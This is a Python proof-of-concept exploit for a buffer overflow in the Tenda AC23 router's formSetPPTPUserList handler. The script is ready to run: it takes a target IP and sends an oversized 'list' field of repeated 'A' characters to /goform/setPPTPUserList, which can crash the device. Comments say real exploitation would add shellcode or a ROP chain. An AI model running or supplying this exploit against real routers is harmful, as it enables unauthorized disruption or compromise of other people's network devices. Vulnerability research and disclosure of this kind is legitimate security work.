CVE-2025-15217

#!/usr/bin/env python3 """ CVE-2025-15217 PoC - Tenda AC23 formSetPPTPUserList Buffer Overflow Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys import argparse def create_exploit_payload(payload_size=1000): """ Generate buffer overflow payload In real exploitation, this would contain shellcode """ # Pattern to trigger overflow - in practice would contain ROP chain/shellcode overflow_pattern = 'A' * payload_size return overflow_pattern def exploit_tenda_ac23(target_ip, target_port=80, payload_size=1000): """ Exploit CVE-2025-15217 on Tenda AC23 router Args: target_ip: Target router IP address target_port: Target router web interface port payload_size: Size of overflow payload Returns: bool: True if exploit sent successfully """ url = f"http://{target_ip}:{target_port}/goform/setPPTPUserList" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'http://{target_ip}/index.html' } # Construct malicious POST data # The 'list' parameter is the vulnerable input data = { 'list': create_exploit_payload(payload_size) } try: print(f"[*] Sending exploit payload to {target_ip}...") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-15217 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('-s', '--size', type=int, default=1000, help='Payload size (default: 1000)') args = parser.parse_args() print("="*60) print("CVE-2025-15217 - Tenda AC23 Buffer Overflow PoC") print("="*60) exploit_tenda_ac23(args.target, args.port, args.size) if __name__ == '__main__': main()

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